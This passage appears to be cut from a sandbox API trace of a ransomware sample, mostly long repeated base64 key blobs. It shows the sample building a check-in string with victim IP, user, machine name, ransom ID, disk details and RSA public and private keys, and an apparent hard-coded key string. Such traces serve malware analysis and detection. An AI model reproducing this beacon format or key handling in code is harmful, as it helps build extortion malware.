G6PucCAFnQyjxuwVYqglgdZMDWdbHuEX42GPDYlvQSQXzZmxOLnxDCF+MEVJJTJxSPC3Mx22JKSKCAjdEJ+mSydUe/tgTKwsA75xFRjspK26z0+mzPu19NwugyCdmB+uDXlagKT4Ovv5LSjQuyUYCJEN3lR6usRP2ZlGjN+3K4N+Ar2dMQDrUmgNYhga+dwPy36LU8s3+pSgPLls7KXpbPVbAzWmVh+h90BVSRMrKpojslWAIzBw7DN59ZsHj9XKNv+bbPAsMM05rbZj2OpMXqm1oOgHduQCsWh2f7Vqo2rfe8w7gzVXb42l30ujcfyI7bgA4dCX97ZMzKrfH4cUjp7yMLk+sBrFQlXLmM8uyGsBHmW4vAT7IbXSGIo31veGm0pFmQqhrwETXbBFvHEPfMHhkRDdE9drVi5K+AJcSccJW6kkfa1qs3S+C37ylhbShe6aqD4h/4Js2wVM7MnINx3hQl1TAXe2pfTcmBV87y9OGcAqx6AMNTbSxiKMpKjgMURGYt2hUlXGnhslhjEI2JToZ7nZQ4nbsXRPUZID0dpPaSWbfmHG64B4FlYO9kTfbMASn3y4WFDNnZTo=") returned 1564 [0163.803] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x8a0171, cbMultiByte=-1, lpWideCharStr=0x3d04a6, cchWideChar=1564 | out: lpWideCharStr="BwIAAACkAABSU0EyAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G/3B2/GjUAuT0PWeQDuXDS+lbhjxOFhLL3E6v+Wi1JBwWBkPupSGEz/Oi+yOoC+vAKjdUOAvExCNFoXGOHoAh762ny8/pGLKJ4KK7yb2cW/2MUEZYOu6vajsaqcLL33TWBTmqAr+QueB6thhjWxxrAvIzRGtoXD/V1Es9Q1302OCd/5aCoRe6Il84wX9N1xEydai5bmbi9Cw/MLcSYoZmpq3MLIXp6d/cqVnQrzIuWmX3/ZkR7V0WUshhD0/YH1t6Ufsb6FWwV+NQs2rbUrzJFS7xEBXovjyWG7V+cMqmzNm7U2pd+BnJcY0SjuaCjDV16Cp0tl8LIcAwKO3EXQhJ4nNAwBNy1qvvDDc55DiLetVcVM5owUFf4h/fUJBev0/9GbTKxJioUaP570qs4NqjRfc9WBtaW6pm7t0lVqvJL7nkOKL8CeDhAygTUsHZw6k+AaY7A+G8Q2AkKQClNA+54FYb1Q6XzHdIoQtO29igQTMtnPErQid9ZFMz2bqGrlN6kbC6fMAqlgofNtGGSbQJWo6DwWYReChgiTsVhW+6Ixrc7DUjxj1bwfJlmUTc1XbCEK6IvUqwsvchdyfKsA9hr1nzEjpG6PucCAFnQyjxuwVYqglgdZMDWdbHuEX42GPDYlvQSQXzZmxOLnxDCF+MEVJJTJxSPC3Mx22JKSKCAjdEJ+mSydUe/tgTKwsA75xFRjspK26z0+mzPu19NwugyCdmB+uDXlagKT4Ovv5LSjQuyUYCJEN3lR6usRP2ZlGjN+3K4N+Ar2dMQDrUmgNYhga+dwPy36LU8s3+pSgPLls7KXpbPVbAzWmVh+h90BVSRMrKpojslWAIzBw7DN59ZsHj9XKNv+bbPAsMM05rbZj2OpMXqm1oOgHduQCsWh2f7Vqo2rfe8w7gzVXb42l30ujcfyI7bgA4dCX97ZMzKrfH4cUjp7yMLk+sBrFQlXLmM8uyGsBHmW4vAT7IbXSGIo31veGm0pFmQqhrwETXbBFvHEPfMHhkRDdE9drVi5K+AJcSccJW6kkfa1qs3S+C37ylhbShe6aqD4h/4Js2wVM7MnINx3hQl1TAXe2pfTcmBV87y9OGcAqx6AMNTbSxiKMpKjgMURGYt2hUlXGnhslhjEI2JToZ7nZQ4nbsXRPUZID0dpPaSWbfmHG64B4FlYO9kTfbMASn3y4WFDNnZTo=") returned 0 [0163.803] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17639772160&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G/3B2/GjUAuT0PWeQDuXDS+lbhjxOFhLL3E6v+Wi1JBwWBkPupSGEz/Oi+yOoC+vAKjdUOAvExCNFoXGOHoAh762ny8/pGLKJ4KK7yb2cW/2MUEZYOu6vajsaqcLL33TWBTmqAr+QueB6thhjWxxrAvIzRGtoXD/V1Es9Q1302OCd/5aCoRe6Il84wX9N1xEydai5bmbi9Cw/MLcSYoZmpq3MLIXp6d/cqVnQrzIuWmX3/ZkR7V0WUshhD0/YH1t6Ufsb6FWwV+NQs2rbUrzJFS7xEBXovjyWG7V+cMqmzNm7U2pd+BnJcY0SjuaCjDV16Cp0tl8LIcAwKO3EXQhJ4nNAwBNy1qvvDDc55DiLetVcVM5owUFf4h/fUJBev0/9GbTKxJioUaP570qs4NqjRfc9WBtaW6pm7t0lVqvJL7nkOKL8CeDhAygTUsHZw6k+AaY7A+G8Q2AkKQClNA+54FYb1Q6XzHdIoQtO29igQTMtnPErQid9ZFMz2bqGrlN6kbC6fMAqlgofNtGGSbQJWo6DwWYReChgiTsVhW+6Ixrc7DUjxj1bwfJlmUTc1XbCEK6IvUqwsvchdyfKsA9hr1nzEjpG6PucCAFnQyjxuwVYqglgdZMDWdbHuEX42GPDYlvQSQXzZmxOLnxDCF+MEVJJTJxSPC3Mx22JKSKCAjdEJ+mSydUe/tgTKwsA75xFRjspK26z0+mzPu19NwugyCdmB+uDXlagKT4Ovv5LSjQuyUYCJEN3lR6usRP2ZlGjN+3K4N+Ar2dMQDrUmgNYhga+dwPy36LU8s3+pSgPLls7KXpbPVbAzWmVh+h90BVSRMrKpojslWAIzBw7DN59ZsHj9XKNv+bbPAsMM05rbZj2OpMXqm1oOgHduQCsWh2f7Vqo2rfe8w7gzVXb42l30ujcfyI7bgA4dCX97ZMzKrfH4cUjp7yMLk+sBrFQlXLmM8uyGsBHmW4vAT7IbXSGIo31veGm0pFmQqhrwETXbBFvHEPfMHhkRDdE9drVi5K+AJcSccJW6kkfa1qs3S+C37ylhbShe6aqD4h/4Js2wVM7MnINx3hQl1TAXe2pfTcmBV87y9OGcAqx6AMNTbSxiKMpKjgMURGYt2hUlXGnhslhjEI2JToZ7nZQ4nbsXRPUZID0dpPaSWbfmHG64B4FlYO9kTfbMASn3y4WFDNnZTo=", lpString2="&version=1.0" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17639772160&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G/3B2/GjUAuT0PWeQDuXDS+lbhjxOFhLL3E6v+Wi1JBwWBkPupSGEz/Oi+yOoC+vAKjdUOAvExCNFoXGOHoAh762ny8/pGLKJ4KK7yb2cW/2MUEZYOu6vajsaqcLL33TWBTmqAr+QueB6thhjWxxrAvIzRGtoXD/V1Es9Q1302OCd/5aCoRe6Il84wX9N1xEydai5bmbi9Cw/MLcSYoZmpq3MLIXp6d/cqVnQrzIuWmX3/ZkR7V0WUshhD0/YH1t6Ufsb6FWwV+NQs2rbUrzJFS7xEBXovjyWG7V+cMqmzNm7U2pd+BnJcY0SjuaCjDV16Cp0tl8LIcAwKO3EXQhJ4nNAwBNy1qvvDDc55DiLetVcVM5owUFf4h/fUJBev0/9GbTKxJioUaP570qs4NqjRfc9WBtaW6pm7t0lVqvJL7nkOKL8CeDhAygTUsHZw6k+AaY7A+G8Q2AkKQClNA+54FYb1Q6XzHdIoQtO29igQTMtnPErQid9ZFMz2bqGrlN6kbC6fMAqlgofNtGGSbQJWo6DwWYReChgiTsVhW+6Ixrc7DUjxj1bwfJlmUTc1XbCEK6IvUqwsvchdyfKsA9hr1nzEjpG6PucCAFnQyjxuwVYqglgdZMDWdbHuEX42GPDYlvQSQXzZmxOLnxDCF+MEVJJTJxSPC3Mx22JKSKCAjdEJ+mSydUe/tgTKwsA75xFRjspK26z0+mzPu19NwugyCdmB+uDXlagKT4Ovv5LSjQuyUYCJEN3lR6usRP2ZlGjN+3K4N+Ar2dMQDrUmgNYhga+dwPy36LU8s3+pSgPLls7KXpbPVbAzWmVh+h90BVSRMrKpojslWAIzBw7DN59ZsHj9XKNv+bbPAsMM05rbZj2OpMXqm1oOgHduQCsWh2f7Vqo2rfe8w7gzVXb42l30ujcfyI7bgA4dCX97ZMzKrfH4cUjp7yMLk+sBrFQlXLmM8uyGsBHmW4vAT7IbXSGIo31veGm0pFmQqhrwETXbBFvHEPfMHhkRDdE9drVi5K+AJcSccJW6kkfa1qs3S+C37ylhbShe6aqD4h/4Js2wVM7MnINx3hQl1TAXe2pfTcmBV87y9OGcAqx6AMNTbSxiKMpKjgMURGYt2hUlXGnhslhjEI2JToZ7nZQ4nbsXRPUZID0dpPaSWbfmHG64B4FlYO9kTfbMASn3y4WFDNnZTo=&version=1.0") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17639772160&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G/3B2/GjUAuT0PWeQDuXDS+lbhjxOFhLL3E6v+Wi1JBwWBkPupSGEz/Oi+yOoC+vAKjdUOAvExCNFoXGOHoAh762ny8/pGLKJ4KK7yb2cW/2MUEZYOu6vajsaqcLL33TWBTmqAr+QueB6thhjWxxrAvIzRGtoXD/V1Es9Q1302OCd/5aCoRe6Il84wX9N1xEydai5bmbi9Cw/MLcSYoZmpq3MLIXp6d/cqVnQrzIuWmX3/ZkR7V0WUshhD0/YH1t6Ufsb6FWwV+NQs2rbUrzJFS7xEBXovjyWG7V+cMqmzNm7U2pd+BnJcY0SjuaCjDV16Cp0tl8LIcAwKO3EXQhJ4nNAwBNy1qvvDDc55DiLetVcVM5owUFf4h/fUJBev0/9GbTKxJioUaP570qs4NqjRfc9WBtaW6pm7t0lVqvJL7nkOKL8CeDhAygTUsHZw6k+AaY7A+G8Q2AkKQClNA+54FYb1Q6XzHdIoQtO29igQTMtnPErQid9ZFMz2bqGrlN6kbC6fMAqlgofNtGGSbQJWo6DwWYReChgiTsVhW+6Ixrc7DUjxj1bwfJlmUTc1XbCEK6IvUqwsvchdyfKsA9hr1nzEjpG6PucCAFnQyjxuwVYqglgdZMDWdbHuEX42GPDYlvQSQXzZmxOLnxDCF+MEVJJTJxSPC3Mx22JKSKCAjdEJ+mSydUe/tgTKwsA75xFRjspK26z0+mzPu19NwugyCdmB+uDXlagKT4Ovv5LSjQuyUYCJEN3lR6usRP2ZlGjN+3K4N+Ar2dMQDrUmgNYhga+dwPy36LU8s3+pSgPLls7KXpbPVbAzWmVh+h90BVSRMrKpojslWAIzBw7DN59ZsHj9XKNv+bbPAsMM05rbZj2OpMXqm1oOgHduQCsWh2f7Vqo2rfe8w7gzVXb42l30ujcfyI7bgA4dCX97ZMzKrfH4cUjp7yMLk+sBrFQlXLmM8uyGsBHmW4vAT7IbXSGIo31veGm0pFmQqhrwETXbBFvHEPfMHhkRDdE9drVi5K+AJcSccJW6kkfa1qs3S+C37ylhbShe6aqD4h/4Js2wVM7MnINx3hQl1TAXe2pfTcmBV87y9OGcAqx6AMNTbSxiKMpKjgMURGYt2hUlXGnhslhjEI2JToZ7nZQ4nbsXRPUZID0dpPaSWbfmHG64B4FlYO9kTfbMASn3y4WFDNnZTo=&version=1.0" [0163.803] lstrlenW (lpString="action=call&ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17639772160&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G/3B2/GjUAuT0PWeQDuXDS+lbhjxOFhLL3E6v+Wi1JBwWBkPupSGEz/Oi+yOoC+vAKjdUOAvExCNFoXGOHoAh762ny8/pGLKJ4KK7yb2cW/2MUEZYOu6vajsaqcLL33TWBTmqAr+QueB6thhjWxxrAvIzRGtoXD/V1Es9Q1302OCd/5aCoRe6Il84wX9N1xEydai5bmbi9Cw/MLcSYoZmpq3MLIXp6d/cqVnQrzIuWmX3/ZkR7V0WUshhD0/YH1t6Ufsb6FWwV+NQs2rbUrzJFS7xEBXovjyWG7V+cMqmzNm7U2pd+BnJcY0SjuaCjDV16Cp0tl8LIcAwKO3EXQhJ4nNAwBNy1qvvDDc55DiLetVcVM5owUFf4h/fUJBev0/9GbTKxJioUaP570qs4NqjRfc9WBtaW6pm7t0lVqvJL7nkOKL8CeDhAygTUsHZw6k+AaY7A+G8Q2AkKQClNA+54FYb1Q6XzHdIoQtO29igQTMtnPErQid9ZFMz2bqGrlN6kbC6fMAqlgofNtGGSbQJWo6DwWYReChgiTsVhW+6Ixrc7DUjxj1bwfJlmUTc1XbCEK6IvUqwsvchdyfKsA9hr1nzEjpG6PucCAFnQyjxuwVYqglgdZMDWdbHuEX42GPDYlvQSQXzZmxOLnxDCF+MEVJJTJxSPC3Mx22JKSKCAjdEJ+mSydUe/tgTKwsA75xFRjspK26z0+mzPu19NwugyCdmB+uDXlagKT4Ovv5LSjQuyUYCJEN3lR6usRP2ZlGjN+3K4N+Ar2dMQDrUmgNYhga+dwPy36LU8s3+pSgPLls7KXpbPVbAzWmVh+h90BVSRMrKpojslWAIzBw7DN59ZsHj9XKNv+bbPAsMM05rbZj2OpMXqm1oOgHduQCsWh2f7Vqo2rfe8w7gzVXb42l30ujcfyI7bgA4dCX97ZMzKrfH4cUjp7yMLk+sBrFQlXLmM8uyGsBHmW4vAT7IbXSGIo31veGm0pFmQqhrwETXbBFvHEPfMHhkRDdE9drVi5K+AJcSccJW6kkfa1qs3S+C37ylhbShe6aqD4h/4Js2wVM7MnINx3hQl1TAXe2pfTcmBV87y9OGcAqx6AMNTbSxiKMpKjgMURGYt2hUlXGnhslhjEI2JToZ7nZQ4nbsXRPUZID0dpPaSWbfmHG64B4FlYO9kTfbMASn3y4WFDNnZTo=&version=1.0") returned 2171 [0163.803] VirtualAlloc (lpAddress=0x0, dwSize=0x87c2, flAllocationType=0x3000, flProtect=0x40) returned 0x8b0000 [0163.803] lstrlenW (lpString="action=call&ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17639772160&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G/3B2/GjUAuT0PWeQDuXDS+lbhjxOFhLL3E6v+Wi1JBwWBkPupSGEz/Oi+yOoC+vAKjdUOAvExCNFoXGOHoAh762ny8/pGLKJ4KK7yb2cW/2MUEZYOu6vajsaqcLL33TWBTmqAr+QueB6thhjWxxrAvIzRGtoXD/V1Es9Q1302OCd/5aCoRe6Il84wX9N1xEydai5bmbi9Cw/MLcSYoZmpq3MLIXp6d/cqVnQrzIuWmX3/ZkR7V0WUshhD0/YH1t6Ufsb6FWwV+NQs2rbUrzJFS7xEBXovjyWG7V+cMqmzNm7U2pd+BnJcY0SjuaCjDV16Cp0tl8LIcAwKO3EXQhJ4nNAwBNy1qvvDDc55DiLetVcVM5owUFf4h/fUJBev0/9GbTKxJioUaP570qs4NqjRfc9WBtaW6pm7t0lVqvJL7nkOKL8CeDhAygTUsHZw6k+AaY7A+G8Q2AkKQClNA+54FYb1Q6XzHdIoQtO29igQTMtnPErQid9ZFMz2bqGrlN6kbC6fMAqlgofNtGGSbQJWo6DwWYReChgiTsVhW+6Ixrc7DUjxj1bwfJlmUTc1XbCEK6IvUqwsvchdyfKsA9hr1nzEjpG6PucCAFnQyjxuwVYqglgdZMDWdbHuEX42GPDYlvQSQXzZmxOLnxDCF+MEVJJTJxSPC3Mx22JKSKCAjdEJ+mSydUe/tgTKwsA75xFRjspK26z0+mzPu19NwugyCdmB+uDXlagKT4Ovv5LSjQuyUYCJEN3lR6usRP2ZlGjN+3K4N+Ar2dMQDrUmgNYhga+dwPy36LU8s3+pSgPLls7KXpbPVbAzWmVh+h90BVSRMrKpojslWAIzBw7DN59ZsHj9XKNv+bbPAsMM05rbZj2OpMXqm1oOgHduQCsWh2f7Vqo2rfe8w7gzVXb42l30ujcfyI7bgA4dCX97ZMzKrfH4cUjp7yMLk+sBrFQlXLmM8uyGsBHmW4vAT7IbXSGIo31veGm0pFmQqhrwETXbBFvHEPfMHhkRDdE9drVi5K+AJcSccJW6kkfa1qs3S+C37ylhbShe6aqD4h/4Js2wVM7MnINx3hQl1TAXe2pfTcmBV87y9OGcAqx6AMNTbSxiKMpKjgMURGYt2hUlXGnhslhjEI2JToZ7nZQ4nbsXRPUZID0dpPaSWbfmHG64B4FlYO9kTfbMASn3y4WFDNnZTo=&version=1.0") returned 2171 [0163.803] lstrlenW (lpString="action=call&ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17639772160&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G/3B2/GjUAuT0PWeQDuXDS+lbhjxOFhLL3E6v+Wi1JBwWBkPupSGEz/Oi+yOoC+vAKjdUOAvExCNFoXGOHoAh762ny8/pGLKJ4KK7yb2cW/2MUEZYOu6vajsaqcLL33TWBTmqAr+QueB6thhjWxxrAvIzRGtoXD/V1Es9Q1302OCd/5aCoRe6Il84wX9N1xEydai5bmbi9Cw/MLcSYoZmpq3MLIXp6d/cqVnQrzIuWmX3/ZkR7V0WUshhD0/YH1t6Ufsb6FWwV+NQs2rbUrzJFS7xEBXovjyWG7V+cMqmzNm7U2pd+BnJcY0SjuaCjDV16Cp0tl8LIcAwKO3EXQhJ4nNAwBNy1qvvDDc55DiLetVcVM5owUFf4h/fUJBev0/9GbTKxJioUaP570qs4NqjRfc9WBtaW6pm7t0lVqvJL7nkOKL8CeDhAygTUsHZw6k+AaY7A+G8Q2AkKQClNA+54FYb1Q6XzHdIoQtO29igQTMtnPErQid9ZFMz2bqGrlN6kbC6fMAqlgofNtGGSbQJWo6DwWYReChgiTsVhW+6Ixrc7DUjxj1bwfJlmUTc1XbCEK6IvUqwsvchdyfKsA9hr1nzEjpG6PucCAFnQyjxuwVYqglgdZMDWdbHuEX42GPDYlvQSQXzZmxOLnxDCF+MEVJJTJxSPC3Mx22JKSKCAjdEJ+mSydUe/tgTKwsA75xFRjspK26z0+mzPu19NwugyCdmB+uDXlagKT4Ovv5LSjQuyUYCJEN3lR6usRP2ZlGjN+3K4N+Ar2dMQDrUmgNYhga+dwPy36LU8s3+pSgPLls7KXpbPVbAzWmVh+h90BVSRMrKpojslWAIzBw7DN59ZsHj9XKNv+bbPAsMM05rbZj2OpMXqm1oOgHduQCsWh2f7Vqo2rfe8w7gzVXb42l30ujcfyI7bgA4dCX97ZMzKrfH4cUjp7yMLk+sBrFQlXLmM8uyGsBHmW4vAT7IbXSGIo31veGm0pFmQqhrwETXbBFvHEPfMHhkRDdE9drVi5K+AJcSccJW6kkfa1qs3S+C37ylhbShe6aqD4h/4Js2wVM7MnINx3hQl1TAXe2pfTcmBV87y9OGcAqx6AMNTbSxiKMpKjgMURGYt2hUlXGnhslhjEI2JToZ7nZQ4nbsXRPUZID0dpPaSWbfmHG64B4FlYO9kTfbMASn3y4WFDNnZTo=&version=1.0") returned 2171 [0163.803] lstrlenA (lpString="aeriedjD#shasj") returned 14 [0163.803] CryptBinaryToStringA (in: pbBinary=0x3d0000, cbBinary=0x10f6, dwFlags=0x40000001, pszString=0x8b0000, pcchString=0x19fd18 | out: pszString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt24RyU2fVTUqh3d1nkQh1ILlXha2IY052vHhS4+Fu16